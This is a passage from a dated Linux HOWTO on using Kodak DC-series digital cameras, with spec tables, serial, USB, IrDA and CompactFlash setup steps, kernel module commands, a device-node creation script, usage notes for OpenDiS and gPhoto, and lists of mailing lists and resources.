Exposure | Auto
Shutter Speed | 1/2 - 1/362 of a second
Aperature Range | f/4.0 - f/13.5
ISO Equivalent | 140
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range) and optional external flash sync
File Formats | JPEG (.JPG) and Flashpix (.FPX)
User Interface | ?
Power | 4 AA batteries or AC Power Adapter
Dimensions | 5.2” wide x 1.9” deep x 3.2” high
Weight | 0.75 lb without batteries
Video Out | NTSC or PAL

2.2.16. DC200 Plus

CDD Resolution | 1160 x 872 pixels
Image Resolution | 1152 x 864; 640 x 480 pixels
Image Quality Options | Best, Better, Good
Image Storage | Compact Flash Card
Viewfinder | 1.8” TFT color LCD and optical viewfinder
Lens | focus free
Digital Zoom | ?
Focus Range | 27” to infinity
Exposure | Auto with manual override
Shutter Speed | 1/2 - 1/362 of a second
Aperature Range | f/4.0 - f/13.5
ISO Equivalent | 140
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash (9.8' range) and optional external flash sync
File Formats | JPEG (.JPG) and Flashpix (.FPX)
User Interface | ?
Power | 4 AA batteries or AC Power Adapter
Dimensions | 5.2” wide x 1.9” deep x 3.2” high
Weight | 0.75 lb without batteries
Video Out | NTSC or PAL

2.2.17. DC120 (discontinued)

CDD Resolution | 850 x 984 pixels
Image Resolution | 1280 x 960 pixels
Image Quality Options | Uncompressed, Best, Better, Good
Image Storage | 2MB Internal Storage and Compact Flash Card
Viewfinder | 1.6” color LCD
Lens | 3x zoom, autofocusing
Digital Zoom | ?
Focus Range | 7.9” to infinity
Exposure | Auto with manual override
Shutter Speed | 1/500 - 16 seconds
Aperature Range | Wide: f/2.5 - f/16.0; Telephoto: f/3.8 - f/24.0
ISO Equivalent | 160
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | 10 seconds
Tripod Mount | Yes
Flash | Strobe flash and optional external flash sync
File Formats | ?
User Interface | ?
Power | 4 AA batteries
Dimensions | 4.3” wide x 5.7” deep x 2.2” high
Weight | 1.15 lb without batteries
Video Out | ?

2.2.18. DC50 (discontinued)

No specifications have been submitted for this camera yet.

2.2.19. DC40 (discontinued)

No specifications have been submitted for this camera yet.

2.2.20. DC25 (discontinued)

CDD Resolution | ?
Image Resolution | 493 x 373; 320 x 240 pixels
Image Quality Options | ?
Image Storage | Compact Flash Card
Viewfinder | 1.6” color LCD
Lens | focus free
Digital Zoom | ?
Focus Range | 0.5m to infinity
Exposure | Auto
Shutter Speed | 1/30 - 1/4000 of a second
Aperature Range | f/4.0 - f/11.0
ISO Equivalent | 800/1600
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | 10 seconds
Tripod Mount | ?
Flash | Strobe flash
File Formats | ?
User Interface | ?
Power | 2 3V Lithium
Dimensions | 5.1” wide x 1.6” deep x 2.8” high
Weight | 0.59 lb with batteries
Video Out | ?

2.2.21. DC20 (discontinued)

CDD Resolution | ?
Image Resolution | 493 x 373; 320 x 240 pixels
Image Quality Options | ?
Image Storage | 1 MB Internal
Viewfinder | ?
Lens | focus free
Digital Zoom | ?
Focus Range | 0.5m to infinity
Exposure | Auto
Shutter Speed | 1/30 - 1/4000 of a second
Aperature Range | f/4.0 - f/11.0
ISO Equivalent | 800/1600
Scripting | ?
Burst Capture | ?
Time Lapse | ?
Orientation Sensor | ?
Self Timer | ?
Tripod Mount | ?
Flash | ?
File Formats | ?
User Interface | ?
Power | 3V Lithium
Dimensions | 102mm wide x 31mm deep x 61mm high
Weight | 0.26 lb without batteries
Video Out | ?

2.2.22. EZ200

CDD Resolution | 640 x 480
Image Resolution | 640 x 480, 320 x 240; 160 x 120 pixels
Image Quality Options | ?
Image Storage | 4 MB Internal
Viewfinder | ?
Lens | manual focus
Digital Zoom | none
Focus Range | 2” to infinity
Exposure | Auto
Shutter Speed | 1/4 - 1/500 of a second
Aperature Range | f/2.3 fixed
ISO Equivalent | ?
Scripting | ?
Burst Capture | Yes (and streaming)
Time Lapse | ?
Orientation Sensor | ?
Self Timer | ?
Tripod Mount | Yes
Flash | ?
File Formats | JPEG (.jpg) and AVI (.avi)
User Interface | ?
Power | 2 AAA Batteries and USB
Dimensions | 2.6” wide x 1.4” deep x 2.7” high
Weight | 0.2 lb without batteries
Video Out | Computer Teleconferencing

2.3. Communicating With Digital Cameras

2.3.1. RS232 Communications In a Nutshell

2.3.2. USB Communications In a Nutshell

2.3.3. IrDA Communications In a Nutshell

Prev | Home | Next
Introduction |  | Communicating With the DC-Series Cameras


Communicating With the DC-Series Cameras

Kodak Digital Camera HOWTO
Prev Next

3. Communicating With the DC-Series Cameras

The below sections are specific to camera models and/or groups of camera models. A particular camera model may be listed in more than one section as it may be supported by more than one method. One method may be easier than another and a specific method may meet your needs better. Select the method used carefully and read all the options before choosing one, it could save a lot of time later on.

If a PC-Card reader is available, or a laptop computer with one built in, following the Compact Flash PC Card Adapter/PCMCIA-ATA Storage Card should be generic enough to work on almost all Kodak DC-Series Cameras and many non-Kodak digital cameras. Be aware that there are adapters for almost all memory devices used in digital cameras to another more common technology. Floppy Disk adapters for smart memory cards may work for cameras that use smart memory cards. These methods also tend to offer fast data transfer rates and are the preferred method of many.

Although something may not be mentioned as to working with a particular piece of software don't assume that means the camera does not work with the software package. Often a camera works with the protocols other digital cameras use and past methods will work. If one finds a method works that is not mentioned in the HOWTO don't neglect to send in the information to this documents author, David Burley.

3.1. DC40, DC50, DC120, DC200, DC210

All of these cameras provide mechanisms for data transfer via standard RS232 serial port. This section is tailored to those who wish to use their digital camera with the kdpci application. The following steps are untested, however there is no reason for them to not work. If one finds that the steps do or do not work please send a report to David Burley so that the status may be noted here.

3.1.1. Serial Camera Control

Additional notes regarding transfer of data from these cameras using RS232 serial support will be added in a future version of this HOWTO. All GNU/Linux distributions should be configured in such a way with a default install that serial communications with the camera should not require any kernel configuration at all. See the kdcpi portion of the Software section for more information regarding use and configuration of kdcpi.

3.2. DC20, DC25, DC200+, DC210, DC210+ Zoom, DC215, DC220, DC220+, DC240, DC260, DC265, DC280, DC290

All of the cameras provide mechanisms for data transfer via standard RS232 serial port. Some of the cameras provide mechanisms for data transfer via USB (universal serial bus). This section is tailored to those who wish to use their digital camera with gPhoto. Please refer to the gPhoto portion of the Software section of this document for more information pertaining to application usage.

The following steps are untested, however there is no reason for them to not work. If one finds that the steps do or do not work please send a report to David Burley so that the status may be noted here.

3.2.1. Serial Camera Control

Additional notes regarding transfer of data from these cameras using RS232 serial support will be added in a future version of this HOWTO. All GNU/Linux distributions should be configured in a such a way with a default install that serial communications with the camera should not require any kernel configuration at all. See the gPhoto portion of the Software section for more information regarding use and installation of gPhoto.

3.2.2. USB Camera Control

There are no special drivers or kernel changes needed to support the DC220, DC260, DC265 and DC290 cameras under this configuration. gPhoto contains the necesary drivers to support USB transfer from these cameras. However if the dc2xx kernel module is loaded it may be necesary to remove it else a resource busy error may occur. To remove the module run the following command:

bash# /sbin/rmmod dc2xx

Attempting to remove the module even if it is not loaded will not cause any harm, so it is suggested that one remove it before starting gPhoto and connecting to the camera via USB. See the gPhoto portion of the Software section for more information regarding use and installation of gPhoto.

3.3. DC220, DC260, DC265, DC290 (HP Photosmart C500?)

The cameras provide mechanisms for data transfer via standard RS232 serial port, USB (Universal Serial Bus) and IrDA (infrared) interface. Additionally, images may be offloaded from the camera through the removal of the camera's Compact Flash Card and use of a Compact Flash PC Card Adapter in a PC Card reader or notebook PC Card slot. Currently these cameras are supported by OpenDiS for USB, IrDA and Serial data transfer. For usage examples and information on how to install and configure the application to work with the cameras, refer to the Open Digita Services portion of the Software section.

Please note that the steps below have only been verified to work with the Kodak DC-265; reports of other models that work with the same steps should be sent to David Burley. There is no reason the steps should not work for all digital cameras that run DigitaOS.

3.3.1. Serial Camera Control

Additional notes regarding transfer of data from DigitaOS enabled cameras using RS232 serial support will be added in a future version of this HOWTO. All distributions should be configured in such a way with a default install that serial communications with the camera should not require any kernel configuration at all. See the OpenDiS and/or Digita Operating Environment -- Command Device Protocol Python Script portion of the Software section for information regarding serial camera control.

3.3.2. 2.2.x Kernel USB Support

This section only applies to those running a 2.2.x series kernel. For those running a 2.4.x series kernel skip this section. At the moment the USB implementation in the 2.2.x series is insufficient and substantially out of date. As such, most USB devices are unsupported natively with the included drivers. However there is a patch available for the 2.2.15 - 2.2.17 kernels.

What software is needed (if not already present):

  1. usb-2.4.0-test2-pre2-for-2.2.16-v3.diff.gz

  2. Linux Kernel 2.2.17

This document assumes a working knowledge of kernel and program compiling. If unfamiliar with the process please go and read the Kernel-HOWTO.

Applying the patch:

bash# cp usb-2.4.0-test2-pre2-for-2.2.16-v3.diff.gz /usr/src
bash# gunzip /usr/src/usb-2.4.0-test2-pre2-for-2.2.16-v3.diff.gz
bash# cd /usr/src/linux
bash# patch -p1 < ../usb-2.4.0-test2-pre2-for-2.2.16-v3.diff

Select the following to be built as either modules or part of your kernel:

  1. Support for your USB controller (It is suggested that all of these be compiled as modules unless the controller type is known.).

  2. USB Kodak DC-2xx Camera Support.

  3. Preliminary USB Device Filesystem.

Reboot the system and then load the created modules if the support is not compiled into the kernel. To load the modules do the following:

bash# /sbin/insmod /lib/modules/$(uname -r)/usb/usbcore.o

Use the following if the USB controller uses either an Intel or a VIA chipset. Some others may also be supported:

bash# /sbin/insmod /lib/modules/$(uname -r)/usb/usb-uhci.o

Use the following if the above did not work and this is the controller type:

bash# /sbin/insmod /lib/modules/$(uname -r)/usb/uhci.o

Use this if the USB controller uses an SiS chipset, is a Compaq, or because the above two didn't seem to work and this is the only option left to try.

bash# /sbin/insmod /lib/modules/$(uname -r)/usb/usb-ohci-hcd.o

Load the module for Kodak Digital Camera support:

bash# /sbin/insmod /lib/modules/$(uname -r)/usb/dc2xx.o

Mount the USB Device Filesystem:

bash# mount -t usbdevfs ignored /proc/bus/usb

3.3.3. 2.4.x Kernel USB Support

This section only applies to those running a 2.4.x series kernel. For those running a 2.2.x series kernel skip this section and follow the 2.2.x Kernel USB Support section. The 2.4.x series kernels have USB supported natively which makes it a bit easier to configure than for the 2.2.x kernel series.

What software is needed (if not already present):

  1. Linux Kernel 2.4.0

This document assumes a working knowledge of kernel and program compiling. If unfamiliar with the process please go and read the Kernel-HOWTO.

Select the following to be built as either modules or part of your kernel:

  1. Support for your USB controller (It is suggested that all of these be compiled as modules unless the controller type is known.).

  2. USB Kodak DC-2xx Camera Support.

  3. Preliminary USB Device Filesystem.

Reboot the system and then load the created modules if the support is not compiled into the kernel. To load the modules do the following:

bash# /sbin/insmod /lib/modules/$(uname -r)/usb/usbcore.o

Use the following if the USB controller uses either an Intel or a VIA chipset. Some others may also be supported:

bash# /sbin/insmod /lib/modules/$(uname -r)/usb/usb-uhci.o

Use the following if the above did not work and this is the controller type:

bash# /sbin/insmod /lib/modules/$(uname -r)/usb/uhci.o

Use this if the USB controller uses an SiS chipset, is a Compaq, or because the above two didn't seem to work and this is the only option left to try.

bash# /sbin/insmod /lib/modules/$(uname -r)/usb/usb-ohci-hcd.o

Load the module for Kodak Digital Camera support:

bash# /sbin/insmod /lib/modules/$(uname -r)/usb/dc2xx.o

Mount the USB Device Filesystem:

bash# mount -t usbdevfs ignored /proc/bus/usb

3.3.4. Kernel USB Devices

The following is a bash shell script designed to create all 16 Kodak devices for use with both the current 2.4.x kernel series and the obsoleted 2.2.X kernel series with the current USB backport. Copy the text below into a file named MakeKodakDev, then make that file executable by typing 'chmod +x MakeKodakDev' and then run the script ./MakeKodakDev as root (or su'd to root) it will create the devices so they don't have to be made individually by hand.

It creates as per the dc2xx.txt file in the kernel documentation the following 16 devices:

/dev/dc2xx0 type=character major=180 minor=80

...

/dev/dc2xx16 type=character major=180 minor=95

# Filename: MakeKodakDev
# Creates the device files for USB access of Kodak digital cameras.
# Last Modified January 6, 2001
# Please see the Kodak Digital Camera HOWTO for more information
# http://www.marblehorse.org/projects/documentation/kodak/
#!/bin/sh

export scrapvar=0

   while [ $scrapvar -lt 17 ];
      do mknod -m 0666 /dev/dc2xx$scrapvar c 180 $(( $scrapvar + 80 ));
      scrapvar=$(( $scrapvar + 1 ));
   done

# EOF

3.3.5. Kernel IrDA Support

Most newer distributions come with IrDA support and the proper utilities to handle IrDA. Redhat 7.0 is one of them. However for the rest of us some configuration will be necessary. Get a copy of the latest kernel (2.2.x series or above) and compile all the IrDA features in as modules. IrDA works a lot like PCMCIA support in GNU/Linux so it is important to have all the modules for any other IrDA devices one may have. There is a good HOWTO on compiling a new kernel, the Kernel-HOWTO. Please refer to it for questions regarding configuring and compiling a new Linux kernel.

3.3.6. IrDA Utils Software

The next step in configuring IrDA support is installing the irda-utils package. Unfortunately, at the time of the current version of this HOWTO, the author had problems locating the source archive for the utilities so he took the one Redhat uses to build their RPM for Redhat 7.0. Please note that root permissions will be necesary to run the commands needed to install the software but should not be necesary to access the camera.

What software is needed (if not present already):

  1. irda-utils 0.9.10 and patches

  2. gpg signature for the irda-utils archive

Extracting the archive, patching, compiling and installing it:

bash# cp irda-utils-0.9.10+patches.tar.gz /usr/src
bash# cd /usr/src
bash# tar zxvf irda-utils-0.9.10+patches.tar.gz
bash# tar zxvf irda-utils-0.9.10.tar.gz
bash# cd irda-utils-0.9.10
bash# patch -p1 < ../irda-utils-0.9.4-chkconfig.patch
bash# patch -p1 < ../irda-utils-typo.patch
bash# patch -p1 < ../irda-utils-redhat.patch
bash# make
bash# make install

3.3.7. Creating the IrDA Device Nodes

The device nodes are necesary so that the application can talk to the driver for the device. Although the irlpt devices are not necesary to get the camera working, creating them now will save the time of having to look them up how to do it later if you do ever need them.

bash# mknod -m 0666 /dev/ircomm0 c 161 0
bash# mknod -m 0666 /dev/ircomm1 c 161 1
bash# mknod -m 0666 /dev/irlpt0 c 161 16
bash# mknod -m 0666 /dev/irlpt1 c 161 17

3.3.8. Modifying /etc/conf.modules or /etc/modules.conf

Use a text editor and open up /etc/conf.modules or /etc/modules.conf depending on your distribution. Add the following three lines to the file while being careful not to change any others.

#IrDA
alias tty-ldisc-11 irtty
alias char-major-161 ircomm-tty

3.3.9. Enabling IrDA and Testing for Connectivity

Irmanager is what starts and stops the proper IrDA modules. The d1 flag tells irmanager to enter discovery mode.

As user root run the following command:

bash# /usr/sbin/irmanager -d1

Put the camera into connect mode and turn it on. Make sure that the camera is close to and facing the IrDA port on the computer. Run the following to see if there are any communications via IrDA:

bash$ /usr/bin/irdadump

After running the command one should see output similar to the following:

00:04:10.608823 xid:cmd bedcb551 > ffffffff S=6 s=2 (14)
00:04:10.698818 xid:cmd bedcb551 > ffffffff S=6 s=3 (14)
00:04:10.788815 xid:rsp bedcb551 < 5f36a4a1 S=6 s=3 Kodak DC265 Zoom hint=8404 [ Computer IrCOMM ]
(33) 00:04:10.798819 xid:cmd bedcb551 > ffffffff S=6 s=4 (14)
00:04:10.888815 xid:cmd bedcb551 > ffffffff S=6 s=5 (14)
00:04:10.978818 xid:cmd bedcb551 > ffffffff S=6 s=* armstrong hint=0400 [ Computer ] (25)

6 packets received by filter

If the previous message was not displayed, try relocating the camera closer or further away from the IrDA port and ensure that there is not too much external interference in the environment in the form of light. Also if the machine is a laptop with a PC-Card (or PCMCIA) modem removing it may help resolve the issue.

3.4. Compact Flash PC Card Adapter/PCMCIA-ATA Storage Card

This section is for those who wish to utilize maximum data transfer rate and save the battery power in the camera's batteries. The method of connectivity suggested in this section applies to all Kodak DC-Series cameras that use either PCMCIA-ATA storage cards or Compact Flash Cards. This method of picture access only allows for storage, retrieval, and deletion of images on a Compact Flash Card. These instructions are tested with a Kodak 16 MB Picture Card and a SanDisk CompactFlash PC Card Adapter on a Dell Inspiron 7000 notebook computer.

What software is needed (if not already present):

  1. PCMCIA-CS-3.1.21

This document assumes a working knowledge of kernel and program compiling. If unfamiliar with the process it is strongly suggested to go and read the Kernel-HOWTO.

Select the following to be built as either modules or part of your kernel:

  1. DOS FAT fs support

  2. VFAT (Windows-95) fs support

Reboot the system and then load the created modules each time access to the compact flash card is desired if the support is not compiled into the kernel. To load the modules do the following:

bash# /sbin/insmod /lib/modules/$(uname -r)/fat.o
bash# /sbin/insmod /lib/modules/$(uname -r)/vfat.o

Compile and configure PCMCIA-CS. This part of the process is beyond the scope of this document, however there is a document with such information that can be found in the PCMCIA-HOWTO. There is also most likely a pre-packaged version for the distribution of GNU/Linux the computer running. This step can be greatly simplified if a pre-packaged version is used.

Using the Compact Flash PC Card Adapter:

Create a directory to mount the Compact Flash Card to.

bash# mkdir /flashcard

Insert the Compact Flash Card into the Compact Flash PC Card Adapter (both should face the same direction. Note that this step is unnecessary for the cameras that use a PCMCIA-ATA storage card.).

Insert the Compact Flash PC Card Adapter or PCMCIA-ATA storage card into the PC-Card slot of the notebook computer.

Mount the card to /flashcard (The Compact Flash Card PC Card Adapter/PCMCIA-ATA storage card is assigned its device by figuring out how many IDE controllers are on the system, and then assigning it the next device. For example, if a system were to have 2 IDE controllers, and would thus have /dev/hda /dev/hdb /dev/hdc and /dev/hdd assigned to the current controllers, the Compact Flash Card PC Card Adapter would be assigned /dev/hde1.).

bash# mount -t vfat /dev/hde1 /flashcard

From this point the files can be copied, moved, deleted, and renamed as done on a normal filesystem. Information regarding file management commands may be found in the documentation included with the OS distribution used, such as man pages. The manual pages which list the commands to use to do the above procedures can be accesses by typing the following to get the command's respective manual page entry: 'man cp', 'man mv', 'man rm'. Before removing the Compact Flash Card PC Card Adapter remember to unmount it with the following command.

bash# umount /flashcard

The Compact Flash Card PC Card Adapter/PCMCIA-ATA storage card can be removed from the PC Card Reader and the Compact Flash Card and be removed from the Compact Flash Card PC Card Adapter (If the adapter was used).

Prev | Home | Next
Background |  | Software Support


Software Support

Kodak Digital Camera HOWTO
Prev Next

4. Software Support

4.1. OpenDiS (Open Digita Services)

OpenDiS Web Site

OpenDiS contains a user-level program and an access library for using DigitaOS enabled cameras. Currently those cameras would be the Kodak DC220, DC260, DC265, DC290 and HP Photosmart C500 and the Minolta EX1500. Although the Kodak digital camera series works best with this application the others have been found to work with the application also. This program has a CLI (command line interface) which is very useful for scripting tasks.

What is needed: OpenDiS 0.0.3

4.1.1. Compiling, extracting and installing OpenDiS

Run the following commands to compile, extract and install OpenDiS

bash$ tar -zxvf opendis-0.0.3.tar.gz
bash$ cd opendis-0.0.3
bash$ ./configure
bash$ make
bash# make install

4.1.2. Usage

The following usage section is taken directly from the output of the ks command.

Usage: ks [OPTION]... [COMMAND]...

Connect to camera and perform COMMANDs.
Updated: 0.0.3
Development note: currently some COMMANDs are supported; default
action is to display this help.  However, all listed
OPTIONS are now supported.

-d DEV, --device=DEV       Look for camera at device DEV.  Defaults
                            to /dev/ttyS0.
 -r RATE, --rate=RATE       Use bit-rate RATE for serial device.  Defaults
                            to 9600.  Not applicable to USB or IrDA.
 -t TYPE, --type=TYPE       Specifies device type, one of: "serial"
                            "usb", or "irda".  Normally, device type
                            can be deduced from DEV and need not be
                            specified
 -i, --irda                 Same as --type=irda
 -s, --serial               Same as --type=serial
 -u, --usb                  Same as --type=usb

 -v  --verbose              More output.
 -q  --quiet                Less output.

 -l, --list                 List supported commands
 -h, --help                 Display this help and exit.

Currently following commands are supported:

  delall        Delete all files in the camera
  download      Download pictures
  thumbs        Download thumbnails
  gettime       Get camera's date/time
  settime       Set camera clock according to computer's clock
  shoot         Take a picture
  status        Show pictures taken, available and raw count
  getpowermode  Checks if camera is on
  poweroff      Turn the camera off

4.1.3. Usage Examples

USB:

Special USB notes. The USB stack has been ever changing in the developmental kernels and as such works differently from time to time. In playing with the latest developmental kernel released the camera tends to show up on /dev/dc2xx0 or /dev/dc2xx1, independent of the fact that only one camera is connected. The support for these devices is all fairly new, so expect to have to play with it to get it working. The following should allow one to download all images from the camera to the working directory with a USB connection. Make sure that the camera is in connect mode.

bash$ ks -d /dev/dc2xx0 download

Serial:

Serial support does work and as such the following command should allow one to download all images from the camera into their current working directory. Modify the serial port device name as necessary. Ensure that the camera is on and in connect mode and that the serial cable is connected between the computer's serial port and the camera.

bash$ ks -d /dev/ttyS0 download

IrDA:

IrDA is not supported in the release version of OpenDiS, however support has been added to the CVS version. To obtain the latest version of OpenDiS via CVS run the following (hit the enter key at the password prompt, there is no password):

bash$ cvs -d:pserver:anonymous@cvs.ods.sourceforge.net:/cvsroot/ods login
bash$ cvs -d:pserver:anonymous@cvs.ods.sourceforge.net:/cvsroot/ods checkout bash# bash$ ods/opendis-current

To compile and configure this version do the following:

bash$ cd ods
bash$ cd opendis-current
bash$ ./configure
bash$ make
bash# make install

An example command which will download all the images from the camera via IrDA would look as follows. Remember to have the camera on and in connect mode. It may also be advisable to increase the auto-shutoff feature to a larger value (5 minutes if possible).

bash$ ks -d /dev/ircomm0 download

4.2. Digita Operating Environment- Command Device Protocol Python Script

This Python script written by Sai Lai Lo of AT&T Cambridge Laboratories allows for download

of images from Kodak Digital Cameras running DigitaOS (DC220, DC260, DC265 and DC290) and using USB for transfer. Some have problems with this script and some don't. However it is nice to cover all bases.

Here a working copy of the Command Device Protocol Python Script can be attained. The original Command Device Protocol Python Script for which the one above is derived has to be edited to remove leading text to work.

The script depends on /dev/kodak existing due to the way older kernels accessed the Kodak Digital Camera USB Device. A symbolic link must be created between the actual device the camera is on and /dev/kodak. If the camera is on /dev/dc2xx0 the symbolic link needed can be created with the following command:

bash# ln -s /dev/dc2xx0 /dev/kodak

Be sure to substitute in the proper device name instead of dc2xx0 if the camera was not assigned dc2xx0. To list all files on the camera run the following command:

bash$ python cdp.py

To download a single image from the camera run the following command, remember to modify the command accordingly for your specific camera:

bash$ python cdp.py 2:DC265_01/P0000748.JPG

That command will download the image P0000748.JPG to the directory DC265_01 in the current directory. A quick and easy command to download all the images from the camera would be:

bash$ for file in $(python cdp.py); do python cdp.py $file; done

This is just a few of the many ways such a script can work. It is possible to use the above command in a larger shell script to automate downloading the images from the camera, converting the images to another format, resizing the images, creating a web page automatically, and many many others. The options are endless when it comes to scripts like this.

4.3. gPhoto

gPhoto Web Site

Still deciding the best way to implement this section. Possibly a DocBook manual for gPhoto needs to be written but according to the gPhoto project web site a manual is being developed at the moment. Contact with the developers of gPhoto has been made and a decision to work on the document at some point, presuming someone else doesn't do it earlier, has been made. However the document processing program used to create this HOWTO, LyX, does not support all the necessary SGML tags and thus that will become an intermediate project before a manual for gPhoto.

A manual is available for gPhoto with its source code and may also be distributed with the various package offerings available with gPhoto binary distributions. The filename is MANUAL and it is located in the root of the extracted tar archive. The file INSTALL details the process of compiling and installing gPhoto if a binary package is not available for a particular distribution.

gPhoto supports serial image transfer from the Kodak DC20, DC25, DC200+, DC210, DC210+ Zoom, DC215 Zoom, DC220, DC220+, DC240, DC260, DC265, DC280 and DC290 with it's 0.4.3 release. With the CVS version of the software USB support is added for the DC220, DC260, DC265 and the DC280. gPhoto tends to be the preferred application of most digital camera users under GNU/Linux and is distributed with Helix GNOME.

4.4. kdcpi

kdcpi Web Site

4.5. jPhoto

jPhoto Web Site

Prev | Home | Next
Communicating With the DC-Series Cameras |  | Additional Online Resources


Additional Online Resources

Kodak Digital Camera HOWTO
Prev Next

5. Additional Online Resources

5.1. Kodak Digital Camera Mailing Lists

5.1.1. Kodak Digita Camera

Kodak Digita Camera Mailing List

This list contains information about DigitaOS enabled Kodak Digital Cameras. This includes the Kodak DC220, DC260, DC265 and DC290. This is the place to go for all of your questions regarding how to use your camera, Digita scripting questions and anything else that pertains to the DigitaOS enabled cameras. To subscribe to the mailing list send a blank email to kodak-digita-camera-subscribe@egroups.com. To unsubscribe from the list send a blank email to kodak-digita-camera-unsubscribe@egroups.com. Alternately, go to the registration form and sign up for an account there. Once the account is created one will have the ability to search through the archive and post messages.

5.1.2. Kodak DC240/DC280

Kodak DC240/DC280 Mailing list

Owners of the Kodak DC240 and DC280 camera models can use this as their forum to discuss issues with other users of the same cameras. This is an open list and its contents can be searched through and viewed at the above URL. To join the list send a blank email to kodak240-280-subscribe@egroups.com. To unsubscribe send a blank email to kodak240-280-unsubscribe@egroups.com.

5.1.3. Kodak DC215

Kodak DC215 Mailing List

Owners and people interesting in contacting other users of the Kodak DC215 digital camera can use this forum to ask and answer questions. This list is specifically oriented towards the Kodak DC215 camera.

5.2. Other Useful Mailing Lists

5.2.1. Linux-USB

Linux-USB

The Linux-USB mailing list is a very active mailing list pertaining to all aspects of USB and Linux. Here one will find the most recent patches for the USB code in the Linux kernel. There is also good discussion on support of digital cameras from time to time. Overall a great list to peek at every week or so.

To subscribe to this list send a blank email to linux-usb-subscribe@suse.com. A confirmation email that must be replied to will then be sent back. Either send a reply to the email address in the reply-to: section of the email, or the address listed in the confirmation message itself. To unsubscribe from the list send a blank email to linux-usb-unsubscribe@suse.com. This action will then have to be confirmed with the same method used for confirming subscription to the mailing list. For a list of other useful commands send an email to linux-usb-info@suse.com.

5.2.2. Linux-kernel

Linux-kernel

The linux-kernel mailing list is a very high traffic mailing list detailing all aspects of the Linux kernel. This list is only for those who wish to have more information than the Linux-USB list and the gPhoto-Kodak lists contain. However, it covers much more of a broad spectrum of topics than Kodak digital camera support under Linux.

Before posting or subscribing to the Linux-kernel mailing list is is highly suggested reading the Linux-kernel mailing list FAQ. It could save much time and embarrassment. It also contains useful information on who certain individuals are in the Linux community in relation to their standing on the list.

To subscribe to the list (remember, it is about 200 emails a day) send an email to majordomo@vger.rutgers.edu with "subscribe linux-kernel username@mailserver" in the body of the message where username is the email account to be used and mailserver is the name of the mail server. Remember to omit the quotation marks.

An alternative to joining the list would be to get the list in digest format. This is a better format to many as it is a few emails a day rather than several hundred. One drawback of this is that it is not as easy to discuss the issues with the mailing list as most mail clients don't know how to deal with the digest in its format besides dealing with it like plain text. To subscribe to the digest send an email to majordomo@vger.rutgers.edu with the line "subscribe linux-kernel-digest username@mailserver" in the body of the message. Where username is the email account username to be used and mailserver is the name of the mail server. Remember to omit the quotation marks.

Unsubscribing from the mail list is as easy as subscribing. Just send an email to majordomo@vger.rutgers.edu with the line "unsubscribe linux-kernel" in the body of the message, or alternately "unsubscribe linux-kernel-digest" if subscribed to the digest. And again, remember to omit the quotation marks.

Rather than subscribing to this list it would be highly suggested to search through the archive which is accessible via the URL listed above. Another alternative is the Kernel Trafficsite. It contains a good overview of the weeks kernel developmental works and discussions in a summary format.

5.2.3. gPhoto-Kodak

gPhoto-Kodak

This list contains much information regarding gPhoto and Kodak cameras. It also contains much discussion on the OpenDiS project and their releases. The latest version of OpenDiS is usually announced on this mailing list and allows one to try out the new functions. Instructions and the form to join the mailing list are at the following URL: http://lists.styx.net/mailman/listinfo/gphoto-kodak/.

5.3. Useful Web Sites / Other Resources

5.3.1. Linux-USB Project

Linux USB Project

The Linux-USB Project's web page contains much information pertaining to Linux and USB in general. Although not all information is pertinent to this HOWTO, a large portion of it is. It contains links to the latest USB support, driver maintainers and device working status. Take a look here and in the Linux-USB mail archive if having a problem getting USB working. Chances are one of the later developmental kernels or the source on the CVS will solve the issue.

5.3.2. Linux USB for DC-2xx Cameras

Linux USB for DC-2xx Cameras

This website is maintained by David Brownell, author of the Kodak DC-2xx kernel support. It contains some information not included in this HOWTO as of yet and holds the latest information regarding configuring USB support. Look here for new developments in supporting the Kodak DC-2xx camera series.

5.3.3. OpenDiS (Open Digita Services)

OpenDiS (Open Digita Services)

The Open Digita Services web site is the main source of information on the support of cameras running Digita which include the Kodak DC-220, DC-260, DC-265, DC-290, the Minolta EX-1500 and the HP PhotoSmart C500.

5.3.4. gPhoto

gPhoto

gPhoto is free software for digital cameras licensed under the GNU GPL. It currently supports more than 90 camera models from various vendors. gPhoto has a command line and a GTK+ graphical interface. Many people swear by this program. Installation, configuration and usage information will be added.

5.3.5. kdcpi

kdpci

kdcpi is a program that the latest developer release supports the Kodak DC200, DC210, DC40, DC50 and DC120. This program has both a CLI (command line interface) and a GUI (graphical user interface). Information regarding installation, configuration and usage information will be added.

5.3.6. Digital Photography Review

Digital Photography Review

Trying to decide which digital camera is best? Digital Photography Review is the most comprehensive website available for all anyone wants to know about digital cameras. This site is not limited to just the Kodak product line and offers great reviews of the newest and older digital cameras. Take a look through the online photo gallery with detailed information pertaining to the camera used and its setting for each and every photograph.

Prev | Home | Next
Software Support |  | FAQ


FAQ

Kodak Digital Camera HOWTO
Prev Next

6. FAQ

Q: Why aren't there any entries but this one in the FAQ?

A: Because the HOWTO is currently is a non-public release state and thus there was no time for anyone to ask any questions! So email your questions off to David Burley marblehorse.org> and lets add to it.

Prev | Home | Next
Additional Online Resources |  | TODO


TODO

Kodak Digital Camera HOWTO
Prev Next

7. TODO

The following TODO list is nowhere near complete. It is simply a list of things meant to added in the future that others have suggested. If anyone has any suggestions for new entries into the HOWTO please email them to David Burley.

  1. Interesting digital camera uses (aerial/under water photography among others).

  2. Additional support of more Kodak digital cameras (gPhoto support with those).

  3. Support for non-Kodak digital cameras (most likely not anytime in the near future. this is out of the scope of the current document.).

  4. Additional camera interfacing methods.

  5. Updating Firmware (current format for firmware is an Install Shield file.... useless under GNU/Linux).

Prev | Home | Next
FAQ |  | Appendix


Appendix

Kodak Digital Camera HOWTO
Prev

8. Appendix

This section is to provide valuable information which may not directly apply to the use of Kodak digital cameras under the GNU/Linux operating system. It is meant to help those who need information in a binge on their digital camera and find this document. The scope of this section may change as the HOWTO matures.

8.1. Drivers for Alternate Operating Systems

8.1.1. DC265

Windows software, Macintosh software and firmware for the camera can be attained from the Kodak web site.

8.1.2. DC290

Windows software, Macintosh software and firmware for the camera can be attained from the Kodak web site.

8.1.3. DC280

Windows software, Macintosh software and firmware for the camera can be attained from the Kodak web site.

8.1.4. DC260 (discontinued)

